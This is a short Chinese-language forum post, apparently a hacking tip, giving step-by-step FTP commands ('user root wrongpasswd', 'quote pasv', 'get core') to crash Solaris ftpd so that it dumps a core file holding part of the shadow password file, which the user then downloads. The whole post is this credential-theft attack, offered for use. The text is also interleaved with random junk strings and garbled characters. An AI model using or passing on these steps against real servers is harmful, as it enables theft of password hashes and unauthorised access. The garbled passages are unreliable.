如何用FIP獲取shadow口令文件

該方法利用了Solaris 操作系統(tǒng)中FTPD的一個BUG，使得用戶可以獲得該機的口令文件。具體過程如下：

3 v5 x% a* B+ ?/ K1.通過 ftp 正常登錄到目的主機上
, C- w" Z3 W2 X% k; b9 r9 t0 C, F
2.輸入如下命令序列：

0 y( t( `* J4 yftp> user root wrongpasswd
- E* r8 M) [' U0 m4 m4 H
9 v, Y2 D5 j: m; [' x* ^ftp> quote pasv

0 M0 e" M% v; o, {3 W6 ^2 `4 h3.這時，ftpd會報錯退出，同時會在當(dāng)前目錄下生成一個core，口令文件就包含在這個core中。

4.再次進入FTP >get core

3 _  K0 W; d& D" m- f5 C( M" h3 u補充：雖然在core只有一部分shadow，但是對于系統(tǒng)來說已經(jīng)是致命的打擊了
# J+ D% \( z4 r. }5 `6 Y6 T